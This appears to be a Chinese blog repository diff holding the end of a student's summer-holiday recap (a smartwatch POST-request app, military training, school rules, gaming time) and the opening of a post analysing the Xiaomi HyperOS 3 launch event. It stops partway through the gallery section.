<p>就这样,我开始用即时设计,参考<a href="https://www.bandbbs.cn/members/23192/" target="_blank" rel="noreferrer noopener">@无源流沙</a>的界面,一步步设计界面、编写代码。面对功能需求,我每天都会遇到一些新的困难,但在<a href="https://www.bandbbs.cn/members/427458/" target="_blank" rel="noreferrer noopener">@yzl3014</a>的协助下,这些困难都逐一迎刃而解。经历了五天的开发期,我的Vela处女作——<a href="https://www.bandbbs.cn/resources/3869/" data-type="link" data-id="https://www.bandbbs.cn/resources/3869/" target="_blank" rel="noreferrer noopener">Poster</a>正式上线。</p>
<!-- /wp:paragraph -->
<!-- wp:image {"id":1147,"width":"526px","height":"auto","sizeSlug":"full","linkDestination":"none","align":"center"} -->
<figure class="wp-block-image aligncenter size-full is-resized"><img src="https://image.luming.cool/i/2026/05/10/69fff3cfb78ac.webp" alt="" class="wp-image-1147" style="width:526px;height:auto"/></figure>
<!-- /wp:image -->
<!-- wp:paragraph -->
<p>软件的主要功能就是以快捷指令的方式一键向特定地址发送特定POST请求。利用这个特性,你可以自己搭建一个API,然后利用手表来实现一些远程控制功能。比如一键关机、结束进程、运行程序等。同时,也可以利用该软件来实现智能家居控制等玩法。</p>
<!-- /wp:paragraph -->
<!-- wp:paragraph -->
<p>此外,我还为该软件剪辑了宣传片,用尽了毕生所学,你可以去看看:<a href="https://www.bilibili.com/video/BV1j7tRzqEw2/">B站</a> | <a href="https://v.douyin.com/8G3pNcYYvws/">抖音</a></p>
<!-- /wp:paragraph -->
<!-- wp:paragraph -->
<p>这次开发也标志着我正式入坑Vela圈,成为一名社区开发者了。在今后,我会努力产出更多优质的软件,希望大家多多支持。</p>
<!-- /wp:paragraph -->
<!-- wp:quote -->
<blockquote class="wp-block-quote"><!-- wp:paragraph -->
<p>本软件目前已适配 REDMI Watch 5 和 小米手环 9 Pro。</p>
<!-- /wp:paragraph --></blockquote>
<!-- /wp:quote -->
<!-- wp:heading -->
<h2 class="wp-block-heading">军训七天</h2>
<!-- /wp:heading -->
<!-- wp:paragraph -->
<p>8月19日 ~ 8月26日,我们前往学校报了到,并进行了为期七天的军训。这七天把我压抑得,我快要爆发了。</p>
<!-- /wp:paragraph -->
<!-- wp:heading {"level":3} -->
<h3 class="wp-block-heading">新环境</h3>
<!-- /wp:heading -->
<!-- wp:paragraph -->
<p>8月19日上午,我在父母陪同下前往学校进行军训报到。进入新宿舍,一种熟悉又陌生的气息扑面而来:熟悉是因为它具备着与我初中宿舍相同的设施:柜子、水龙头和浴室;陌生,则是因为宿舍里有着五张陌生的面孔。</p>
<!-- /wp:paragraph -->
<!-- wp:paragraph -->
<p>一号床看上去很彪悍,一直在盯着我看,让我有点毛骨悚然;二号床看着挺老实,挺冷静的,并没有对我的到来做出什么反应;三号床很开朗朴实,我们很快就打到了一块;四号床长得很帅,不爱说话;五号床则十分冷幽默。六号床…就是我。</p>
<!-- /wp:paragraph -->
<!-- wp:paragraph -->
<p>入住宿舍的第一晚,一夜无话。空调开到了16℃,内机不断地嘶吼着,可室内温度却迟迟降不下来。我将被子扔在了床脚,身上只盖着一层短袖(就是日常外出时穿的短袖,很薄),可是脊背仍止不住地冒汗。就在这样潮湿的环境下,我昏昏睡去。</p>
<!-- /wp:paragraph -->
<!-- wp:paragraph -->
<p>剩余的几天,我在宿舍生活得还不错,每晚都能准时睡着,睡眠时间也保持在8小时左右。空调制冷效果一天比一天好,内机设定温度由一开始的16℃逐渐变为了20℃、22℃、26℃……我仍记得,倒数第二天晚上,空调开26℃,冻得我即使用被子捂住全身也仍能感受到寒意。当然,可能也有天气的原因——我们从第三天军训开始下大雨,后续几天保持阴天。</p>
<!-- /wp:paragraph -->
<!-- wp:heading {"level":3} -->
<h3 class="wp-block-heading">军训服</h3>
<!-- /wp:heading -->
<!-- wp:paragraph -->
<p>学校军训,使用的服装是学校组织统一购买的的军训服,五十块钱。讲真,衣服穿上身的那一刻,我觉得这辈子买过最亏的物品就是军训服——上半身就是劣质化纤,下半身的布料甚至会刺激我的腿。</p>
<!-- /wp:paragraph -->
<!-- wp:paragraph -->
<p>在军训过程中,我也无意间听到了一位同学的吐槽:</p>
<!-- /wp:paragraph -->
<!-- wp:quote -->
<blockquote class="wp-block-quote"><!-- wp:paragraph -->
<p>从我家里随便拾一块破抹布的布料都比这个好。</p>
<!-- /wp:paragraph --></blockquote>
<!-- /wp:quote -->
<!-- wp:paragraph -->
<p>我表示非常赞同。</p>
<!-- /wp:paragraph -->
<!-- wp:paragraph -->
<p>这身衣服在功能上不透气、不舒适,在外观上也不符合军队标准,完全可以说是一笔智商税了。</p>
<!-- /wp:paragraph -->
<!-- wp:heading {"level":3} -->
<h3 class="wp-block-heading">宿舍</h3>
<!-- /wp:heading -->
<!-- wp:paragraph -->
<p>这算是我对这所学校唯二极度不满的地方。首先,以军训期间的作息规定为例:每天晚上 21:40 必须躺在床上,不能坐或站。每天宿管会逮出来一些 21:40 以后还未躺在床上的人。</p>
<!-- /wp:paragraph -->
<!-- wp:paragraph -->
<p>这规定本身没毛病,但是之后的一条就让我很不理解了:</p>
<!-- /wp:paragraph -->
<!-- wp:quote -->
<blockquote class="wp-block-quote"><!-- wp:paragraph -->
<p>随着时间推移,晚就寝最后时间将会提前。</p>
<!-- /wp:paragraph --></blockquote>
<!-- /wp:quote -->
<!-- wp:paragraph -->
<p>这意味着什么呢?</p>
<!-- /wp:paragraph -->
<!-- wp:paragraph -->
<p>以后,如果 21:40 还未上床的人数为 0 ,那么学校就会去抓那些 21:39 上床的人,同理,如果 21:39 也没人违纪,那就去抓 21:38 上床的人,以此类推。</p>
<!-- /wp:paragraph -->
<!-- wp:paragraph -->
<p>说人话,就是“无论如何我都要给你挑出点毛病来”。鸡蛋里挑骨头,为了打压学生而打压学生,真做作!</p>
<!-- /wp:paragraph -->
<!-- wp:heading {"level":3} -->
<h3 class="wp-block-heading">课外书</h3>
<!-- /wp:heading -->
<!-- wp:paragraph -->
<p>军训倒数第二天的下午,班里自习课上。</p>
<!-- /wp:paragraph -->
<!-- wp:paragraph -->
<p>我正手捧一本《意林 · 高票好文》进行阅读,这时,班主任走到我身前,一把翻过我的书,查看封面。她看完之后,我便重新将书翻了回去,打算继续阅读。可是,她嘴里吐出了六个字:“收起来,写作业”。</p>
<!-- /wp:paragraph -->
<!-- wp:paragraph -->
<p>随后,她便转过身去,面向全班同学大声宣布:</p>
<!-- /wp:paragraph -->
<!-- wp:quote -->
<blockquote class="wp-block-quote"><!-- wp:paragraph -->
<p>跟大家说一下咱们学校的规定哈:班级里,你只能带与课本有关的资料,比如你的教辅。像是杂志之类的课外书,《青年杂志》、《意林》之类的,不允许带进教室,一经发现就没收,没有商量的余地。</p>
<!-- /wp:paragraph --></blockquote>
<!-- /wp:quote -->
<!-- wp:paragraph -->
<p>讲真,我当时敢怒不敢言,气得身子都在发抖。因为所谓“校规”规定:不允许顶撞老师;而我所在的“精英班”规定:违反校规者直接降班型;而我的家长要求我“无论如何都不要被赶出精英班”。</p>
<!-- /wp:paragraph -->
<!-- wp:paragraph -->
<p>好一个死循环。我极力克制自己将要崩溃的情绪,双拳紧握。突然感觉鼻孔有点凉,我赶紧拿纸垫了一下——好家伙,怒火攻心,流鼻血了。</p>
<!-- /wp:paragraph -->
<!-- wp:paragraph -->
<p>我他妈才高一,不是高三高考生!为了升学率去限制学生阅读课外读物,妄图通过这种方法来让学生花更多时间投入学习,真是可笑。现在我终于理解了这学校之前为什么那么多跳的了。</p>
<!-- /wp:paragraph -->
<!-- wp:heading {"level":3} -->
<h3 class="wp-block-heading">感触</h3>
<!-- /wp:heading -->
<!-- wp:paragraph -->
<p>军训期间,我确确实实提前预习了一部分课本,因为实在是太无聊了。读到语文课本时,我感到了一种莫名的似曾相识。里面的大多数课文都是我在小学或初中遇到过的,有种见到阔别已久的老朋友的熟悉,但是一想到它是我高中三年要作为正式课程学习的内容,又有一种莫名的失落和恐惧。</p>
<!-- /wp:paragraph -->
<!-- wp:paragraph -->
<p>语文有一篇课文叫《⟨我与地坛⟩节选》,史铁生写的。想要表达的感情是一种子欲养而亲不待的悲凉。我读得特别认真,心都碎了,甚至没忍住落了泪。如果在以前读这篇文章,我可能内心毫无波澜,不会激起任何对作者的共情。但就在这天我几乎全身心都代入进了作者。我感觉这是一种成长。当然,这也许是处于如此绝望的境界下的人的本能。</p>
<!-- /wp:paragraph -->
<!-- wp:paragraph -->
<p>无独有偶。在经历了第一次强代入感后,我又一次在一篇《意林》选文中找到了自己的影子。原文是这样的:</p>
<!-- /wp:paragraph -->
<!-- wp:quote -->
<blockquote class="wp-block-quote"><!-- wp:paragraph -->
<p>亲爱的儿子:</p>
<!-- /wp:paragraph -->
<!-- wp:paragraph -->
<p>今天是一个不愉快的下午。</p>
<!-- /wp:paragraph -->
<!-- wp:paragraph -->
<p>我带你去买东西,本来高高兴兴的,没想到会在你的怨怼跟我的尴尬里收场。买衣服时你说这件不合适,那件不好看,大卖场里有二十多个摊位,被你走马观花地否定一遍……<strong>超市买了箱普通的盒装奶</strong>,你抱怨为什么不买贵一点的。我说同一个品牌的牛奶差不多,过日子还是要精打细算些。你终于绷不住了,冲我埋怨:<strong>“一天到晚就知道精打细算,你自己怎么不知道多挣点钱!”</strong>你气冲冲地直接走了,我独自拖着一堆东西回到家,埋怨我怎么不能多挣点儿钱……</p>
<!-- /wp:paragraph -->
<!-- wp:paragraph -->
<p>From:《意林-成长卷:何以为青春》P96 《给儿子的三条人生建议》</p>
<!-- /wp:paragraph --></blockquote>
<!-- /wp:quote -->
<!-- wp:paragraph -->
<p>而我的脑子里快速想起了今年5月份的某一天,那天的日记是这样写的:</p>
<!-- /wp:paragraph -->
<!-- wp:quote -->
<blockquote class="wp-block-quote"><!-- wp:paragraph -->
<p>本周五晚上周考结束,18:30的时候,我在路上和母亲通电话。她问我吃什么,我表示什么都不想吃,已累到没胃口。她说不行,多少都得吃一点。我和她拉扯了好久,中途我和她说想喝奶茶,她嗔怪了一声“<strong>奶茶不健康呀...</strong>”就沉默了。在我心中,我大概知道她拒绝了。所以我就没再请求,只是让她简单准备一碗鸡蛋羹。</p>
<!-- /wp:paragraph -->
<!-- wp:paragraph -->
<p>回到家,发现母亲不在家中。“估计是出去买菜了。”我想。突然,手表震动,母亲给我打来了电话——“<strong>奶茶要哪个款式的?</strong>”没想到她居然答应了,不惜跑腿二十分钟去给我买一杯奶茶。我对着话筒激动地喊:“三拼霸霸奶茶,<strong>冰的</strong>!”她听不清,于是我让她把手机递给了店员。说完需求之后,我便直接挂断了电话。</p>
<!-- /wp:paragraph -->
<!-- wp:paragraph -->
<p>过了片刻,姐姐找到我:“妈妈不让你买冰奶茶。”我直接绷不住了,甩了一句:“<strong>那你让她别买了,我自己点外卖。</strong>”场面就在这时候僵住了……</p>
<!-- /wp:paragraph -->
<!-- wp:paragraph -->
<p>From:日记(2025.5.24</p>
<!-- /wp:paragraph --></blockquote>
<!-- /wp:quote -->
<!-- wp:paragraph -->
<p>现在想想,我当时真的好不懂事,好幼稚。不过好在我甩过去那句话之后不久就认识到了自己的错误,主动向母亲打了电话道了歉,并同意了买一瓶常温奶茶。后来我久久不能平静,就把这件事写成了日记。</p>
<!-- /wp:paragraph -->
<!-- wp:paragraph -->
<p>这差不多也是一次蜕变,我感受到了父母以前对我的溺爱</p>
<!-- /wp:paragraph -->
<!-- wp:heading {"level":3} -->
<h3 class="wp-block-heading">内卷</h3>
<!-- /wp:heading -->
<!-- wp:paragraph -->
<p>没想到,这所学校的同学们比我想象中的要“卷”得多。</p>
<!-- /wp:paragraph -->
<!-- wp:paragraph -->
<p>军训第一天晚自习,我在看语文课本,旁边的几位女同学拿着刚发的物理试卷在做;第二天晚自习,我看《意林》,旁边的同学在提前背语文古诗词……</p>
<!-- /wp:paragraph -->
<!-- wp:paragraph -->
<p>我也尝试过去做学校发的页子,但奈何我是7月初上的衔接课,玩了一个半月,预习的知识全忘光了。所以,没做几道题我就放弃了。</p>
<!-- /wp:paragraph -->
<!-- wp:paragraph -->
<p>同时,我心里也产生了强烈的危机感,怕自己开学后成绩垫底,怕同学们轻视自己……</p>
<!-- /wp:paragraph -->
<!-- wp:paragraph -->
<p>此时,我忽然想起,我曾对<strong>辅导班</strong>抱有很大敌意,曾绞尽脑汁开发<a href="https://virelyx.com/980/">火苗会议调试器</a>,只为<strong>更舒服地“摸鱼”</strong>……我真的太后悔了。当时摸的鱼,接下来都将变成<strong>成倍的负面效应</strong>反馈到我身上。</p>
<!-- /wp:paragraph -->
<!-- wp:paragraph -->
<p>其余时间,比如早上七点整,同学们用完早餐,纷纷走向操场,等待教官要求集合。这段时间里,班主任要求我们必须“带上语文诗词小页子背诵”。每天晚自习要“抽查背诵”,如果抽查不合格,就到教室后面一直站着,直到会背为止。</p>
<!-- /wp:paragraph -->
<!-- wp:heading {"level":3} -->
<h3 class="wp-block-heading">军训结束前的心情</h3>
<!-- /wp:heading -->
<!-- wp:paragraph -->
<p>之所以单独划分一个板块来写,是因为这种心情太深刻了。</p>
<!-- /wp:paragraph -->
<!-- wp:paragraph -->
<p>军训结束倒数第二天晚上,教官带领同学们从下午17:30开始一直拉练到晚21:10。这期间,我的面部多次表现出“时笑时哭”的狰狞表情。正如所描述的,我当时就是一种“想笑不会笑,想哭哭不出”的心情。</p>
<!-- /wp:paragraph -->
<!-- wp:paragraph -->
<p>“想笑”是因为我距离军训结束只差最后一晚上了,“不会笑”是因为我在这里感到的压抑感太强了,真心笑不出来;</p>
<!-- /wp:paragraph -->
<!-- wp:paragraph -->
<p>“想哭”是因为即将与眼前的这位帅气、温柔且富有爱心的教官说再见了。不,是再也不见。“哭不出”则是担心形象扫地。。</p>
<!-- /wp:paragraph -->
<!-- wp:paragraph -->
<p>看到这里,你可能会问我为什么会对“暴虐”自己七天的教官有如此正面的评价。我想说,相比于其他班的教官,他爱吹牛b,幽默风趣,总是能逗我们笑;他不吝啬以身试法买饮料奖励我们,并说“哪怕掏空我的钱包”;他总把我们班拉出去与别的班“比赛”,扬言“一定要把‘七班最强’这个名声打好”。</p>
<!-- /wp:paragraph -->
<!-- wp:heading -->
<h2 class="wp-block-heading">和平精英</h2>
<!-- /wp:heading -->
<!-- wp:paragraph -->
<p>这估计是每逢假期不得不提的一个话题。废话不多说,上时间统计。</p>
<!-- /wp:paragraph -->
<!-- wp:table -->
<figure class="wp-block-table"><table class="has-fixed-layout"><tbody><tr><td class="has-text-align-right" data-align="right"><strong>日期</strong></td><td class="has-text-align-left" data-align="left"><strong>游玩时长</strong></td></tr><tr><td class="has-text-align-right" data-align="right">7月7日</td><td class="has-text-align-left" data-align="left">6分钟</td></tr><tr><td class="has-text-align-right" data-align="right">7月10日</td><td class="has-text-align-left" data-align="left">42分钟</td></tr><tr><td class="has-text-align-right" data-align="right">7月11日</td><td class="has-text-align-left" data-align="left">小于1分钟</td></tr><tr><td class="has-text-align-right" data-align="right">7月12日</td><td class="has-text-align-left" data-align="left">5分钟</td></tr><tr><td class="has-text-align-right" data-align="right">7月13日</td><td class="has-text-align-left" data-align="left">6分钟</td></tr><tr><td class="has-text-align-right" data-align="right">7月16日</td><td class="has-text-align-left" data-align="left">50分钟</td></tr><tr><td class="has-text-align-right" data-align="right">7月18日</td><td class="has-text-align-left" data-align="left">1小时31分钟</td></tr><tr><td class="has-text-align-right" data-align="right">8月7日</td><td class="has-text-align-left" data-align="left">1小时40分钟</td></tr><tr><td class="has-text-align-right" data-align="right">8月9日</td><td class="has-text-align-left" data-align="left">1小时5分钟</td></tr><tr><td class="has-text-align-right" data-align="right">8月10日</td><td class="has-text-align-left" data-align="left">1小时12分钟</td></tr><tr><td class="has-text-align-right" data-align="right">8月12日</td><td class="has-text-align-left" data-align="left">1小时47分钟</td></tr><tr><td class="has-text-align-right" data-align="right">8月14日</td><td class="has-text-align-left" data-align="left">1小时</td></tr><tr><td class="has-text-align-right" data-align="right">8月15日</td><td class="has-text-align-left" data-align="left">1小时11分钟</td></tr><tr><td class="has-text-align-right" data-align="right">8月16日</td><td class="has-text-align-left" data-align="left">47分钟</td></tr><tr><td class="has-text-align-right" data-align="right">8月27日</td><td class="has-text-align-left" data-align="left">1小时22分钟</td></tr></tbody></table></figure>
<!-- /wp:table -->
<!-- wp:paragraph -->
<p>我对这个暑假的游戏时间管理还是比较满意的,每天都控制到了2小时以内,并且总游玩时长也并不多。</p>
<!-- /wp:paragraph -->
<!-- wp:paragraph -->
<p>期间有几天,我那在上班的堂姐主动找我玩和平,我便陪着她一块玩,那几天的我,很快乐。</p>
<!-- /wp:paragraph -->
<!-- wp:heading -->
<h2 class="wp-block-heading">新鼠标</h2>
<!-- /wp:heading -->
<!-- wp:paragraph -->
<p>军训七天回家之后,发现自己服役了一年多的杂牌鼠标滚轮暴毙了。才放了七天,滚轮就出现了上下滑动乱跳的情况。</p>
<!-- /wp:paragraph -->
<!-- wp:gallery {"linkTo":"none"} -->
<figure class="wp-block-gallery has-nested-images columns-default is-cropped"><!-- wp:image {"id":1148,"sizeSlug":"large","linkDestination":"none"} -->
<figure class="wp-block-image size-large"><img src="https://image.luming.cool/i/2026/05/10/69fff3d3f0cf3.webp" alt="" class="wp-image-1148"/></figure>
<!-- /wp:image --></figure>
<!-- /wp:gallery -->
<!-- wp:paragraph -->
<p>于是我也没多想,骑着车前往自家附近的小米之家提了一个小米双模鼠标。(零花钱-¥69)</p>
<!-- /wp:paragraph -->
<!-- wp:gallery {"linkTo":"none"} -->
<figure class="wp-block-gallery has-nested-images columns-default is-cropped"><!-- wp:image {"id":1149,"sizeSlug":"large","linkDestination":"none"} -->
<figure class="wp-block-image size-large"><img src="https://image.luming.cool/i/2026/05/10/69fff3d76c464.webp" alt="" class="wp-image-1149"/></figure>
<!-- /wp:image --></figure>
<!-- /wp:gallery -->
<!-- wp:paragraph -->
<p>结果您猜怎么着,我买它就是奔着它支持2.4Ghz无线+蓝牙双模连接去的,但回家一试,发现我的2013款MacBookPro死活搜索不到它。而我的手机、平板都可以正常搜索和连接使用。可能是我电脑的蓝牙版本比较低吧,所以我就接了个扩展坞,把它和键盘接到一块用。</p>
<!-- /wp:paragraph -->
<!-- wp:paragraph -->
<p>鼠标个头挺大,握起来有点质感。惊喜的是它在这个价位居然给了肩键。当然,可能是我没用过带肩键的鼠标,不知道价格情况。(笑)</p>
<!-- /wp:paragraph -->
<!-- wp:heading -->
<h2 class="wp-block-heading">总结</h2>
<!-- /wp:heading -->
<!-- wp:paragraph -->
<p>这个暑假,我做了比较多的事情:</p>
<!-- /wp:paragraph -->
<!-- wp:list {"ordered":true} -->
<ol class="wp-block-list"><!-- wp:list-item -->
<li>武汉六日游</li>
<!-- /wp:list-item -->
<!-- wp:list-item -->
<li>编写了Vela应用程序“Poster”并剪辑宣传片</li>
<!-- /wp:list-item -->
<!-- wp:list-item -->
<li>完成了蓝屏工具箱后端重构</li>
<!-- /wp:list-item -->
<!-- wp:list-item -->
<li>开发了软件“火苗会议调试器”</li>
<!-- /wp:list-item -->
<!-- wp:list-item -->
<li>开发了软件“田字格生成器”</li>
<!-- /wp:list-item -->
<!-- wp:list-item -->
<li>预习了新高一的数学、物理、化学课程。</li>
<!-- /wp:list-item --></ol>
<!-- /wp:list -->
<!-- wp:paragraph -->
<p>总之,这个暑假,大多数时间都用在了开发上,同时也实现了劳逸结合。</p>
<!-- /wp:paragraph -->
<!-- wp:paragraph -->
<p>还有三天,我的初升高暑假就结束了。在高中毕业前,即使再有假期也不会像现在这样无忧无虑了。经过了七天军训,我感到身心俱疲。这几天我要好好休整一下,准备迎接崭新的学期。高中,加油!</p>
<!-- /wp:paragraph -->
<!-- wp:paragraph -->
<p>开头说的万字长文其实没做到,只有4968字。哈哈,吐出心声的感觉真好。感谢你的聆听。</p>
<!-- /wp:paragraph -->
@@ -0,0 +1,381 @@
---
cover: "https://image.luming.cool/i/2026/05/10/69fff46283478.webp"
title: "更新了啥?小米澎湃OS 3 发布会详细解析"
pubDate: "2025-08-28T20:37:00.000Z"
updatedDate: "2025-08-28T20:37:00.000Z"
categories:
- "科技"
tags:
- "小米"
- "系统"
- "软件"
comments: true
---
晚上好,朋友们。今天下午三点半,我准时蹲守,观看了小米澎湃OS3的发布会。看完之后,我心血来潮,因为我突然感到了小米做系统的认真和负责。所以,我撰写了本篇文章,希望能帮助大家理解,小米澎湃OS 3,究竟更新了什么。
> 声明:文章封面图素材来自小米官网,非商用,仅作为封面,如有侵权,敬请[通知我](mailto:hi@virelyx.com),我将立刻删除。
>
> 本人仅根据发布会内容进行分析,文章所有观点仅代表本人个人观点。
## 新功能
相信这是米粉们最期待的。
小米澎湃OS 3的更新包括但不限于`**超级岛**``锁屏`、**`相册自定义`**、`**系统界面**``**相册**``**互连互通**``系统应用优化``**超级小爱Agent模式**`、**`查找手机`**、**`强制性隐私权限控制`**等。其中,标粗的部分是我个人觉得很厉害的更新。大家也可以自行跳转到对应栏目进行浏览。
### 超级岛
万众期待的“灵动岛”,小米这次终于安排上了。不过,小米澎湃OS3的“超级岛”融入了用户的反馈和小米自己对于岛这一组件的思考。
#### 空间效率提升
金凡在发布会上是这么说的:
> 我们认为,灵动岛并不是为了去遮挡屏幕上的摄像头,而是为了让用户更方便地了解此刻正在发生、需要重点关注的信息。
发布会上展示的灵动岛的第一个场景就是充电。只见超级岛右侧的闪电图标不断发出荧光,并且还会有彩虹光晕状的光圈向外扩散,整个动画十分优美。
![img](https://image.luming.cool/i/2026/05/10/69fff3dee79e8.webp)超级岛充电状态效果
金凡列举了目前业界的两个灵动岛流派。它们分别是“单岛流”和“双岛流”。前者应该是OPPO的ColorOS岛形态,后者…我才疏学浅,没认出来是什么品牌。请大家见谅。😅
![img](https://image.luming.cool/i/2026/05/10/69fff3dbf3bb4.webp)灵动岛两大流派
二者各自都有各自的不足。比如,左侧的“单岛流”,在形态上只有一个大岛。虽然显示的信息比较完整,但是只能显示一条信息。如果同时有多个应用登岛,那么只能显示其中一个应用的信息,效率有限。
右侧的“双岛流”,形态上是在大岛的基础上分为了另一个圆形小岛。但是虽然能看到航班图标了,但打车的信息显示得不完整了。
第二个问题来了。当用户点击灵动岛之后,会发生什么呢?
业界的灵动岛展开后也分为了两个流派:“分离派”和“包裹派”。
![img](https://image.luming.cool/i/2026/05/10/69fff3e07050e.webp)业界灵动岛的两个流派
这里“分离派”应该是代指OPPO的ColorOS一类灵动岛,“包裹派”则是代指苹果的iOS一类灵动岛。
“分离派”即为原胶囊状的“岛”下沉,并变为卡片,来展示详细信息。若同时存在多个应用上岛,则自动分裂变为多个小卡片。它有一个缺点——当登岛的应用过多时,信息卡片会遮挡住前台应用的画面,反倒降低了用户获取信息的效率。
“包裹派”即为胶囊“岛”的Y轴位置不变,沿X轴方向向两边延申,某些情况下也会增大高度。设计的初衷大概是“我一定要遮挡住摄像头”,可是这样做却遮挡住了任务栏的图标,某些关键信息也被遮挡了。
既然都有各自的缺点,那怎么办呢?
为此,小米澎湃OS 3给出的答案是——**\*定制超窄字体,小空间也能展示大内容\***。
![img](https://image.luming.cool/i/2026/05/10/69fff3dd85e07.webp)定制超窄字体,小空间也能显示大内容
最多支持三岛同台,并且不遮挡任务栏图标。空间利用率“杠杠的”。
<video controls="" src="https://virelyx.com/wp-content/uploads/2025/08/20250828083651444159.mp4"></video>
三岛同台 和 动画展示
#### 动效优美连贯
通过视频可以看到,小米澎湃OS 3,不仅在信息展示效率上有了进步,而且它的动效是共同进步的。
当有电话通知弹出时,右侧的“接听”按钮会产生绿色的环状光晕并不断扩散。
当有音乐卡片时,卡片下方会有类似音频波形的动态光晕。
当用户进行多岛切换时,动画曲线也是十分优美,这几点体现了小米澎湃OS一直以来的优秀审美。
#### 操作逻辑便利
小米的超级岛这次也融入了小米用户常见的通知悬浮提醒元素——下拉条。
友商的灵动岛在展开后只能够再次点击跳转到应用,而小米则给了用户第二种选择——下拉之后呼出应用悬浮窗。这种方案则给了用户一种更便捷的信息查看方式。
![img](https://image.luming.cool/i/2026/05/10/69fff3e21f1df.webp)
另外,当你在打车途中,需要将自己的行程信息分享给微信好友时,你会怎么办?大概率是进入对应的APP,然后手动点击分享按钮,再来发送,对吧?
而在小米澎湃OS3中,你只需要按住超级岛中的行程信息,将它拖到微信窗口内,即可直接分享。
<video controls="" src="https://virelyx.com/wp-content/uploads/2025/08/20250828085317393217.mp4"></video>
小米超级岛 拖拽分享行程信息
### 锁屏
小米澎湃OS 2的“电影感锁屏”广受大众喜爱,这是众所周知的。
金凡提到,锁屏壁纸动态化可以加深锁屏的故事感。但是大多数用户拥有的只是静态照片,所以澎湃OS推出了AI生成动态壁纸的功能,这是澎湃OS 2就有的功能。
#### AI风格化动态壁纸
在澎湃OS 3中,新增了“AI风格化动态壁纸”功能。即AI可以根据真实人像照片,来生成各种风格的动态壁纸——动漫风、手绘风,油画风等。旨在让动态的瞬间更有趣。
![img](https://image.luming.cool/i/2026/05/10/69fff3e3cfa0b.webp)AI风格化动态壁纸
#### AI二次元动态壁纸生成&景深效果
此外,小米澎湃OS 3支持了二次元静态图片的动态化。同时,生成的二次元动态壁纸也支持景深效果。
![img](https://image.luming.cool/i/2026/05/10/69fff3e6ebfd2.webp)AI二次元动态壁纸
#### AI动态壁纸支持分享
还有就是,AI生成的二次元动态壁纸,现已支持分享。用户可以通过小米互传来面对面分享,亦或是分享到社交媒体上。
![img](https://image.luming.cool/i/2026/05/10/69fff3e871178.webp)AI动态壁纸分享
#### 在线AI动态壁纸社区
受限于当今的AI技术,小米澎湃OS每生成一张AI动态壁纸都要耗费用户3~4分钟的时间。这是技术瓶颈限制了AI生成能力。为了缓解这个问题,小米澎湃OS 3中的AI动态壁纸页面加入了在线壁纸的页面,用户可选择性地将自己生成好的AI动态壁纸分享到这个“社区”里面,其他用户则可以从这个“社区”里面直接下载已有的动态壁纸进行使用。
![img](https://image.luming.cool/i/2026/05/10/69fff3ea1bdae.webp)在线AI动态壁纸社区
#### “中正”的大数字锁屏???
小米澎湃OS 3中,加入了一批以时间等元素居中为主体风格的锁屏样式,金凡管这叫“中正”风格。
这种风格,也确实符合人物锁屏的规律,毕竟不遮挡人物的脸和腿,能够体现出美观性,营造出更强的空间感。
但我不觉得这种设计哪里好看。大家根据自己喜好进行尝试。
![img](https://image.luming.cool/i/2026/05/10/69fff3ebd5ebe.webp)大时钟锁屏
#### 壁纸设置入口统一
在小米澎湃OS 1和2中,用户如果想要设置锁屏样式,只有在锁屏界面长按这一个入口。而有些用户想要用相册深处的某张特定照片来设置壁纸,从锁屏界面设置就会导致重新翻阅查找,很不方便。
于是,在澎湃OS 3中,壁纸设置有了统一的入口。不管用户在相册还是在锁屏,只要点击了个性化设置,就会自动跳转到统一设置窗口。在这里,用户可以完成有关壁纸的所有操作。包括壁纸动态化、大时间样式更换、一键设置景深效果。非常方便。
![img](https://image.luming.cool/i/2026/05/10/69fff3eee1086.webp)一站式个性编辑
### 系统界面
小米澎湃OS 3这次系统界面也进行了大改版。桌面布局、状态栏图标、系统应用界面都或多或少地迎来了改变。
#### 桌面搜索框终于没了
时隔多年,横跨多个MIUI和HyperOS版本,那个一直陪伴小米用户的桌面搜索框终于被“干掉”了。不过它并没有消失,而是被挪动到了原页面提示点的位置。这一点学习了友商。
同时,为了适配多种桌面布局,小米澎湃OS 3对桌面网格进行了重新分配,不过对一般用户而言,感知不会很明显。
![img](https://image.luming.cool/i/2026/05/10/69fff3f05aee0.webp)网格均匀 & 搜索框换位置
#### 状态栏图标终于改了
自从MIUI以来,小米系统的状态栏图标就饱受诟病。比如电量百分比,在设置为“显示在电池图标内”时,字体比蚂蚁还要小。
在小米澎湃OS 3中,任务栏图标终于迎来了重构,电量百分比数字显示更大了,整体更易读、更清爽了。
![img](https://image.luming.cool/i/2026/05/10/69fff3f303ef3.webp)状态栏图标重构
#### 桌面图标焕新
小米这两年的图标更新频率极快。从MIUI 14到HyperOS 1大改了一次,而仅间隔了两个版本,在澎湃OS 3中,应用图标再次大改。
(不过这次似乎改得有点像华为?)
![img](https://image.luming.cool/i/2026/05/10/69fff3f5ae233.webp)应用图标大改
#### 多个场景界面焕新
- 通话界面的快捷操作按钮添加了独立的圆形遮罩;
- 控制中心加入了多彩图标;
- 耳机弹窗删去了“取消”按钮,取而代之的是右上角的“关闭”按钮;
- 天气页面上划后显示的卡片不再是白色遮罩,而是模糊背景遮罩。
![img](https://image.luming.cool/i/2026/05/10/69fff3f89ea3e.webp)系统多个场景界面焕新
### 相册
仍记得母亲一直不愿购买小米手机,只因小米相册的排序逻辑十分单一——按修改时间排列。编辑一张图片后,编辑后的成片会出现在相册第一个位置。这种逻辑对于我们年轻人来说还是可以习惯的,但是对于母亲,就是适应不了——她只能接受编辑后的成片出现在原片的旁边。
而这次,小米相册大改了。
#### 开放自定义设置照片视图、照片排序
金凡在这里列举出了三组矛盾:
- 首页照片:有人喜欢“平铺”展示,有人喜欢“按日分开”展示;
- 排列方式:有人喜欢“按添加时间排列”,有人喜欢“按拍摄时间排列”;
- 第二页:有人喜欢放置“自定义相册”,有人喜欢放置“发现和聚合”模块。
![img](https://image.luming.cool/i/2026/05/10/69fff3fbd5dab.webp)
![img](https://image.luming.cool/i/2026/05/10/69fff3fa41a7d.webp)
![img](https://image.luming.cool/i/2026/05/10/69fff3fd77597.webp)
面对这三重矛盾,金凡选择了将选择权交给用户。
首先就是首页自定义,允许用户自行选择首页照片视图、照片排序方式。
![img](https://image.luming.cool/i/2026/05/10/69fff3ff25011.webp)相册首页自定义选项
#### 宠物特征识别
金凡在这里举了个例子:当你想要找到自己家猫咪的照片,但你的相册里拍的还有其它猫咪的照片,此时搜索“猫咪”,那么所有有关猫咪的照片就全都被搜索出来了,想要找到自己的猫,仍是一个难题。
